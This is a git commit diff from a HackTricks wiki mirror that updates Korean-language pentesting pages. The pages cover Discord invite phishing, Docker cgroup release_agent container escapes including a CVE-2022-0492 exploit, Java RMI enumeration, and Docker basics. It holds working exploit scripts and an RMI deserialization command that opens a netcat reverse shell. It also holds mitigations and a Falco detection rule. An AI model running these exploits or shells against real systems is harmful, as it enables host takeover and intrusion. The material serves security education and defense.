mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
Translator
parent
adadf8bec4
commit
6d8bbfcbcf
@ -29,7 +29,7 @@ Discord의 초대 시스템 취약점은 위협 행위자가 만료되거나 삭
|
||||
## Discord 서버를 통한 피싱 흐름
|
||||
|
||||
1. 서버 채널을 제한하여 **#verify** 채널만 보이도록 합니다.
|
||||
2. 봇(예: **Safeguard#0786**)을 배포하여 신규 사용자가 OAuth2를 통해 인증하도록 유도합니다.
|
||||
2. 신규 사용자가 OAuth2를 통해 인증하도록 유도하는 봇(예: **Safeguard#0786**)을 배포합니다.
|
||||
3. 봇이 사용자를 피싱 사이트(예: `captchaguard.me`)로 리디렉션합니다. 이는 CAPTCHA 또는 인증 단계의 가장을 씁니다.
|
||||
4. **ClickFix** UX 트릭을 구현합니다:
|
||||
- 깨진 CAPTCHA 메시지를 표시합니다.
|
||||
@ -50,12 +50,12 @@ navigator.clipboard.writeText(cmd);
|
||||
|
||||
- 최소한 하나의 대문자 또는 비알파벳 문자가 포함된 영구 초대 링크를 사용하세요 (만료되지 않으며 재사용할 수 없음).
|
||||
- 정기적으로 초대 코드를 변경하고 오래된 링크를 취소하세요.
|
||||
- Discord 서버 부스트 상태 및 사용자 정의 URL 청구를 모니터링하세요.
|
||||
- Discord 서버 부스트 상태 및 맞춤 URL 청구를 모니터링하세요.
|
||||
- 사용자에게 서버의 진위를 확인하고 클립보드에 붙여넣은 명령을 실행하지 않도록 교육하세요.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,9 @@
|
||||
|
||||
**자세한 내용은** [**원본 블로그 게시물**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**을 참조하십시오.** 이것은 요약입니다:
|
||||
|
||||
Original PoC:
|
||||
---
|
||||
|
||||
## Classic PoC (2019)
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
@ -12,38 +14,109 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
개념 증명(Proof of Concept, PoC)은 `release_agent` 파일을 생성하고 이를 호출하여 컨테이너 호스트에서 임의의 명령을 실행하는 방법을 보여줍니다. 다음은 관련 단계의 요약입니다:
|
||||
The PoC는 **cgroup-v1** `release_agent` 기능을 악용합니다: `notify_on_release=1`인 cgroup의 마지막 작업이 종료되면, 커널(호스트의 **초기 네임스페이스에서**)은 쓰기 가능한 파일 `release_agent`에 저장된 경로의 프로그램을 실행합니다. 이 실행은 **호스트에서 전체 루트 권한으로 발생하기 때문에**, 파일에 대한 쓰기 접근 권한을 얻는 것만으로도 컨테이너 탈출이 가능합니다.
|
||||
|
||||
### 짧고 읽기 쉬운 단계별 설명
|
||||
|
||||
1. **새 cgroup 준비하기**
|
||||
|
||||
1. **환경 준비:**
|
||||
- `/tmp/cgrp` 디렉토리가 cgroup의 마운트 지점으로 사용되도록 생성됩니다.
|
||||
- RDMA cgroup 컨트롤러가 이 디렉토리에 마운트됩니다. RDMA 컨트롤러가 없는 경우, `memory` cgroup 컨트롤러를 대안으로 사용하는 것이 좋습니다.
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **자식 Cgroup 설정:**
|
||||
- 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다.
|
||||
- "x" cgroup에 대해 notify_on_release 파일에 1을 작성하여 알림이 활성화됩니다.
|
||||
```shell
|
||||
mkdir /tmp/cgrp
|
||||
mount -t cgroup -o rdma cgroup /tmp/cgrp # 또는 –o memory
|
||||
mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **릴리스 에이전트 구성:**
|
||||
- 호스트의 컨테이너 경로는 /etc/mtab 파일에서 가져옵니다.
|
||||
- 그런 다음 cgroup의 release_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd라는 스크립트를 실행합니다.
|
||||
|
||||
2. **`release_agent`를 공격자가 제어하는 스크립트로 설정하기**
|
||||
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **/cmd 스크립트 생성 및 구성:**
|
||||
- /cmd 스크립트는 컨테이너 내에서 생성되며 ps aux를 실행하도록 구성되어 있으며, 출력은 컨테이너 내의 /output이라는 파일로 리디렉션됩니다. 호스트에서 /output의 전체 경로가 지정됩니다.
|
||||
|
||||
3. **페이로드 드롭하기**
|
||||
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
cat <<'EOF' > /cmd
|
||||
#!/bin/sh
|
||||
ps aux > "$host_path/output"
|
||||
EOF
|
||||
chmod +x /cmd
|
||||
```
|
||||
5. **공격 시작:**
|
||||
- "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다.
|
||||
- 이로 인해 `release_agent`(the /cmd script)가 트리거되어 호스트에서 ps aux를 실행하고 출력을 컨테이너 내의 /output에 기록합니다.
|
||||
|
||||
4. **알림 트리거하기**
|
||||
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # 자신을 추가하고 즉시 종료
|
||||
cat /output # 이제 호스트 프로세스가 포함됨
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2022 커널 취약점 – CVE-2022-0492
|
||||
|
||||
2022년 2월 Yiqi Sun과 Kevin Wang은 **커널이 cgroup-v1에서 `release_agent`에 쓸 때 권한을 검증하지 않는다는 것을 발견했습니다** (함수 `cgroup_release_agent_write`).
|
||||
|
||||
실제로 **cgroup 계층을 마운트할 수 있는 모든 프로세스(예: `unshare -UrC`를 통해)는 *초기* 사용자 네임스페이스에서 `CAP_SYS_ADMIN` 없이 임의의 경로를 `release_agent`에 쓸 수 있었습니다**. 기본 구성의 루트 실행 Docker/Kubernetes 컨테이너에서는 다음을 허용했습니다:
|
||||
|
||||
* 호스트에서 루트로의 권한 상승; ↗
|
||||
* 컨테이너가 특권을 가지지 않고도 컨테이너 탈출.
|
||||
|
||||
이 결함은 **CVE-2022-0492** (CVSS 7.8 / 높음)로 지정되었으며, 다음 커널 릴리스(및 이후 모든 릴리스)에서 수정되었습니다:
|
||||
|
||||
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||
|
||||
패치 커밋: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||
|
||||
### 컨테이너 내 최소한의 익스플로잇
|
||||
```bash
|
||||
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||
apk add --no-cache util-linux # provides unshare
|
||||
unshare -UrCm sh -c '
|
||||
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||
echo 1 > /tmp/c/notify_on_release;
|
||||
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||
while true; do sleep 1; done
|
||||
'
|
||||
```
|
||||
커널이 취약한 경우, *호스트*의 busybox 바이너리가 전체 루트 권한으로 실행됩니다.
|
||||
|
||||
### 강화 및 완화
|
||||
|
||||
* **커널 업데이트** (≥ 버전 이상). 패치는 이제 `release_agent`에 쓰기 위해 *초기* 사용자 네임스페이스에서 `CAP_SYS_ADMIN`을 요구합니다.
|
||||
* **cgroup-v2 선호** – 통합 계층 **`release_agent` 기능을 완전히 제거하여**, 이 클래스의 탈출을 없앴습니다.
|
||||
* **불필요한 사용자 네임스페이스 비활성화**: 필요하지 않은 호스트에서:
|
||||
```shell
|
||||
sysctl -w kernel.unprivileged_userns_clone=0
|
||||
```
|
||||
* **의무적 접근 제어**: `/sys/fs/cgroup/**/release_agent`에서 `mount`, `openat`을 거부하거나 `CAP_SYS_ADMIN`을 제거하는 AppArmor/SELinux 정책은 취약한 커널에서도 이 기술을 중단시킵니다.
|
||||
* **읽기 전용 바인드 마스크** 모든 `release_agent` 파일 (Palo Alto 스크립트 예시):
|
||||
```shell
|
||||
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||
mount --bind -o ro /dev/null "$f"
|
||||
done
|
||||
```
|
||||
|
||||
## 런타임에서의 탐지
|
||||
|
||||
[`Falco`](https://falco.org/)는 v0.32부터 내장 규칙을 제공합니다:
|
||||
```yaml
|
||||
- rule: Detect release_agent File Container Escapes
|
||||
desc: Detect an attempt to exploit a container escape using release_agent
|
||||
condition: open_write and container and fd.name endswith release_agent and
|
||||
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||
thread.cap_effective contains CAP_SYS_ADMIN
|
||||
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||
priority: CRITICAL
|
||||
tags: [container, privilege_escalation]
|
||||
```
|
||||
규칙은 여전히 `CAP_SYS_ADMIN`을 가진 컨테이너 내부의 프로세스에서 `*/release_agent`에 대한 모든 쓰기 시도에 대해 트리거됩니다.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – 상세 분석 및 완화 스크립트.
|
||||
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,14 +20,14 @@ _nmap_은 때때로 _SSL_로 보호된 _RMI_ 서비스를 식별하는 데 어
|
||||
|
||||
## RMI 구성 요소
|
||||
|
||||
간단히 말해, _Java RMI_는 개발자가 네트워크에서 _Java object_를 사용할 수 있도록 합니다. 이는 클라이언트가 연결하고 해당 객체에서 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이것은 간단하게 들리지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
|
||||
간단히 말해, _Java RMI_는 개발자가 네트워크에서 _Java object_를 사용할 수 있도록 합니다. 이는 클라이언트가 연결하고 해당 객체의 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이게 간단하게 들리지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
|
||||
|
||||
1. _Java RMI_를 통해 메서드 호출을 전송하려면 클라이언트는 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 대상 객체의 `ObjID`를 알아야 합니다(`ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유하고 임의의 식별자입니다. _Java RMI_는 여러 객체가 동일한 _TCP_ 포트에서 수신할 수 있도록 허용하기 때문에 필요합니다).
|
||||
2. 원격 클라이언트는 노출된 객체에서 메서드를 호출하여 서버에서 리소스를 할당할 수 있습니다. _Java virtual machine_은 이러한 리소스 중 어떤 것이 여전히 사용 중인지, 어떤 것이 가비지 수집될 수 있는지를 추적해야 합니다.
|
||||
1. _Java RMI_를 통해 메서드 호출을 전송하려면 클라이언트는 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 대상 객체의 `ObjID`를 알아야 합니다( `ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유하고 임의의 식별자입니다. _Java RMI_는 여러 객체가 동일한 _TCP_ 포트에서 수신할 수 있도록 허용하기 때문에 필요합니다).
|
||||
2. 원격 클라이언트는 노출된 객체의 메서드를 호출하여 서버에서 리소스를 할당할 수 있습니다. _Java virtual machine_은 이러한 리소스 중 어떤 것이 여전히 사용 중인지, 어떤 것이 가비지 수집될 수 있는지를 추적해야 합니다.
|
||||
|
||||
첫 번째 도전 과제는 기본적으로 _Java RMI_의 이름 서비스인 _RMI registry_에 의해 해결됩니다. _RMI registry_ 자체도 _RMI service_이지만, 구현된 인터페이스와 `ObjID`는 고정되어 있으며 모든 _RMI_ 클라이언트가 알고 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트만 알면 _RMI_ 레지스트리를 사용할 수 있습니다.
|
||||
첫 번째 도전 과제는 _RMI registry_에 의해 해결됩니다. _RMI registry_는 기본적으로 _Java RMI_를 위한 이름 서비스입니다. _RMI registry_ 자체도 _RMI service_이지만, 구현된 인터페이스와 `ObjID`는 고정되어 있으며 모든 _RMI_ 클라이언트가 알고 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트만 알면 _RMI_ registry를 사용할 수 있습니다.
|
||||
|
||||
개발자가 네트워크 내에서 _Java objects_를 사용 가능하게 하려는 경우, 일반적으로 이를 _RMI registry_에 바인딩합니다. _registry_는 객체에 연결하는 데 필요한 모든 정보(IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값)를 저장하고 이를 사람이 읽을 수 있는 이름(바인딩된 이름)으로 제공합니다. _RMI service_를 사용하려는 클라이언트는 해당 _bound name_에 대해 _RMI registry_에 요청하고, 레지스트리는 연결하는 데 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
|
||||
개발자가 자신의 _Java objects_를 네트워크 내에서 사용 가능하게 만들고자 할 때, 일반적으로 이를 _RMI registry_에 바인딩합니다. _registry_는 객체에 연결하는 데 필요한 모든 정보(IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값)를 저장하고 이를 사람이 읽을 수 있는 이름( _bound name_)으로 제공합니다. _RMI service_를 사용하려는 클라이언트는 해당 _bound name_에 대해 _RMI registry_에 요청하고, registry는 연결하는 데 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -51,7 +51,7 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
위에서 언급한 두 번째 도전 과제는 _Distributed Garbage Collector_ (_DGC_)에 의해 해결됩니다. 이것은 잘 알려진 `ObjID` 값을 가진 또 다른 _RMI 서비스_이며 기본적으로 각 _RMI endpoint_에서 사용할 수 있습니다. _RMI client_가 _RMI 서비스_를 사용하기 시작하면, 해당 _remote object_가 사용 중임을 _DGC_에 알리는 정보를 전송합니다. 그러면 _DGC_는 참조 수를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
|
||||
위에서 언급한 두 번째 도전 과제는 _Distributed Garbage Collector_ (_DGC_)에 의해 해결됩니다. 이는 잘 알려진 `ObjID` 값을 가진 또 다른 _RMI service_이며 기본적으로 모든 _RMI endpoint_에서 사용할 수 있습니다. _RMI client_가 _RMI service_를 사용하기 시작하면, 해당 _remote object_가 사용 중임을 _DGC_에 알리는 정보를 전송합니다. 그러면 _DGC_는 참조 수를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
|
||||
|
||||
더 이상 지원되지 않는 _Activation System_과 함께, 이들은 _Java RMI_의 세 가지 기본 구성 요소입니다:
|
||||
|
||||
@ -59,7 +59,7 @@ e.printStackTrace();
|
||||
2. _Activation System_ (`ObjID = 1`)
|
||||
3. _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
_Java RMI_의 기본 구성 요소는 꽤 오랫동안 알려진 공격 벡터였으며, 구식 _Java_ 버전에는 여러 취약점이 존재합니다. 공격자의 관점에서 볼 때, 이러한 기본 구성 요소는 알려진 클래스/인터페이스를 구현했기 때문에 흥미롭고, 이들과 상호작용하는 것이 쉽습니다. 그러나 사용자 정의 _RMI 서비스_의 경우 상황이 다릅니다. _remote object_에서 메서드를 호출하려면 해당 메서드 시그니처를 미리 알아야 합니다. 기존 메서드 시그니처를 모르면 _RMI 서비스_와 통신할 방법이 없습니다.
|
||||
_Java RMI_의 기본 구성 요소는 꽤 오랫동안 알려진 공격 벡터였으며, 구식 _Java_ 버전에는 여러 취약점이 존재합니다. 공격자의 관점에서 볼 때, 이러한 기본 구성 요소는 알려진 클래스/인터페이스를 구현했기 때문에 흥미롭고, 이들과 상호작용하는 것이 쉽습니다. 그러나 사용자 정의 _RMI services_의 경우 상황이 다릅니다. _remote object_에서 메서드를 호출하려면 해당 메서드 시그니처를 미리 알아야 합니다. 기존 메서드 시그니처를 모르면 _RMI service_와 통신할 방법이 없습니다.
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+]
|
||||
[+] RMI server codebase enumeration:
|
||||
[+]
|
||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
||||
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||
[+]
|
||||
@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
||||
[+] Count: -32760
|
||||
```
|
||||
## 원격 메서드 무차별 대입
|
||||
## 원격 메서드 브루트포스
|
||||
|
||||
열거 중에 취약점이 식별되지 않더라도, 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 기본 구성 요소에 대한 _RMI_ 통신은 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 대화할 때 이러한 필터는 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메서드 시그니처를 아는 것은 가치가 있습니다.
|
||||
열거 중에 취약점이 식별되지 않더라도, 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 기본 구성 요소에 대한 _RMI_ 통신은 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 대화할 때는 이러한 필터가 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메서드 시그니처를 아는 것은 중요합니다.
|
||||
|
||||
불행히도, _Java RMI_는 _원격 객체_에서 메서드를 열거하는 것을 지원하지 않습니다. 그렇지만, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 또는 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메서드 시그니처를 무차별 대입하는 것은 가능합니다:
|
||||
불행히도, _Java RMI_는 _원격 객체_에서 메서드를 열거하는 것을 지원하지 않습니다. 그렇지만, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 또는 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메서드 시그니처를 브루트포스하는 것은 가능합니다:
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -170,12 +170,12 @@ $ rmg guess 172.17.0.2 9010
|
||||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||
[+] --> String login(java.util.HashMap dummy1)
|
||||
```
|
||||
식별된 메서드는 다음과 같이 호출할 수 있습니다:
|
||||
식별된 방법은 다음과 같이 호출할 수 있습니다:
|
||||
```
|
||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
다음과 같이 역직렬화 공격을 수행할 수 있습니다:
|
||||
또는 다음과 같이 역직렬화 공격을 수행할 수 있습니다:
|
||||
```
|
||||
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
||||
[+] Creating ysoserial payload... done.
|
||||
@ -205,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
추측하는 것 외에도, 검색 엔진이나 _GitHub_에서 만난 _RMI_ 서비스의 인터페이스나 구현을 찾아보아야 합니다. _bound name_과 구현된 클래스 또는 인터페이스의 이름이 여기서 도움이 될 수 있습니다.
|
||||
추측하는 것 외에도, 검색 엔진이나 _GitHub_에서 만난 _RMI_ 서비스의 인터페이스나 구현을 찾아보는 것이 좋습니다. 여기서 _bound name_과 구현된 클래스 또는 인터페이스의 이름이 도움이 될 수 있습니다.
|
||||
|
||||
## 알려진 인터페이스
|
||||
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 는 도구의 내부 데이터베이스에 나열된 _RMI 서비스_인 경우 클래스를 `known`으로 표시합니다. 이러한 경우 `known` 작업을 사용하여 해당 _RMI 서비스_에 대한 더 많은 정보를 얻을 수 있습니다:
|
||||
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 는 도구의 내부 데이터베이스에 나열된 _RMI 서비스_인 경우 클래스를 `known`으로 표시합니다. 이러한 경우, 해당 _RMI 서비스_에 대한 더 많은 정보를 얻기 위해 `known` 작업을 사용할 수 있습니다:
|
||||
```
|
||||
$ rmg enum 172.17.0.2 1090 | head -n 5
|
||||
[+] RMI registry bound names:
|
||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
||||
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||
[+]
|
||||
[+] Vulnerabilities:
|
||||
[+]
|
||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] is therefore most of the time equivalent to remote code execution.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
[+]
|
||||
[+] -----------------------------------
|
||||
[+] Name:
|
||||
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||
[+]
|
||||
[+] References:
|
||||
[+] - https://github.com/qtc-de/beanshooter
|
||||
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
||||
|
||||
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
## HackTricks 자동 명령
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||
|
||||
@ -12,7 +12,7 @@ Docker는 **컨테이너화 산업**의 **최전선 플랫폼**으로, **지속
|
||||
|
||||
- [**containerd**](http://containerd.io): 이는 **컨테이너의 라이프사이클**을 포괄적으로 **관리하는 핵심 런타임**입니다. 여기에는 **이미지 전송 및 저장**을 처리하고, **컨테이너의 실행, 모니터링 및 네트워킹**을 감독하는 것이 포함됩니다. **containerd에 대한 더 자세한 통찰**은 **추가적으로 탐구됩니다**.
|
||||
- **container-shim**은 **헤드리스 컨테이너**를 처리하는 데 있어 **중개자**로서 중요한 역할을 하며, 컨테이너가 초기화된 후 **runc**에서 원활하게 인계받습니다.
|
||||
- [**runc**](http://runc.io): **경량 및 범용 컨테이너 런타임** 기능으로 유명한 runc는 **OCI 표준**에 맞춰져 있습니다. 이는 containerd에 의해 **OCI 지침**에 따라 **컨테이너를 시작하고 관리**하는 데 사용되며, 원래의 **libcontainer**에서 발전하였습니다.
|
||||
- [**runc**](http://runc.io): **경량 및 범용 컨테이너 런타임** 기능으로 유명한 runc는 **OCI 표준**에 맞춰져 있습니다. 이는 containerd가 **OCI 가이드라인**에 따라 **컨테이너를 시작하고 관리**하는 데 사용되며, 원래의 **libcontainer**에서 발전하였습니다.
|
||||
- [**grpc**](http://www.grpc.io)는 **containerd와 docker-engine** 간의 **통신을 촉진하는 데 필수적**이며, **효율적인 상호작용**을 보장합니다.
|
||||
- [**OCI**](https://www.opencontainers.org)는 런타임 및 이미지에 대한 **OCI 사양**을 유지하는 데 중요한 역할을 하며, 최신 Docker 버전은 **OCI 이미지 및 런타임** 표준을 모두 **준수합니다**.
|
||||
|
||||
@ -41,11 +41,11 @@ docker system prune -a
|
||||
```
|
||||
#### Containerd
|
||||
|
||||
**Containerd**는 **Docker와 Kubernetes**와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 특별히 개발되었습니다. 이는 운영 체제에 따라 다르게 작동하는 기능과 시스템 호출을 추상화하여 Linux, Windows, Solaris 등 다양한 운영 체제에서 **컨테이너 실행을 단순화**하는 것을 목표로 합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소는 생략하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 도전적인 것으로 인정됩니다.
|
||||
**Containerd**는 **Docker와 Kubernetes**와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 특별히 개발되었습니다. 이는 Linux, Windows, Solaris 등 다양한 운영 체제에서 컨테이너 실행을 **단순화**하는 것을 목표로 하며, 운영 체제별 기능과 시스템 호출을 추상화합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소는 생략하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 도전적인 것으로 인정됩니다.
|
||||
|
||||
주요 설계 결정 중 하나는 **Containerd가 네트워킹을 처리하지 않는다는 것입니다**. 네트워킹은 분산 시스템에서 중요한 요소로 간주되며, 소프트웨어 정의 네트워킹(SDN) 및 서비스 발견과 같은 복잡성은 플랫폼마다 크게 다릅니다. 따라서 Containerd는 지원하는 플랫폼이 네트워킹 측면을 관리하도록 남겨둡니다.
|
||||
|
||||
**Docker가 Containerd를 사용하여** 컨테이너를 실행하는 동안, Containerd는 Docker의 기능 중 일부만 지원한다는 점에 유의해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능이 없으며 Docker 스웜의 생성을 직접 지원하지 않습니다. 이 구분은 Containerd가 컨테이너 런타임 환경으로서의 집중된 역할을 강조하며, 통합하는 플랫폼에 더 전문화된 기능을 위임합니다.
|
||||
**Docker가 Containerd를 사용하여** 컨테이너를 실행하는 동안, Containerd는 Docker의 기능 중 일부만 지원한다는 점에 유의해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능이 부족하며 Docker 스웜의 생성을 직접 지원하지 않습니다. 이 구분은 Containerd가 컨테이너 런타임 환경으로서의 집중된 역할을 강조하며, 통합하는 플랫폼에 더 전문화된 기능을 위임합니다.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
@ -63,20 +63,20 @@ ctr container delete <containerName>
|
||||
```
|
||||
#### Podman
|
||||
|
||||
**Podman**은 Red Hat에서 개발 및 유지 관리하는 오픈 소스 컨테이너 엔진으로, [Open Container Initiative (OCI) standards](https://github.com/opencontainers)를 준수합니다. **데몬 없는 아키텍처**와 **루트 없는 컨테이너** 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
|
||||
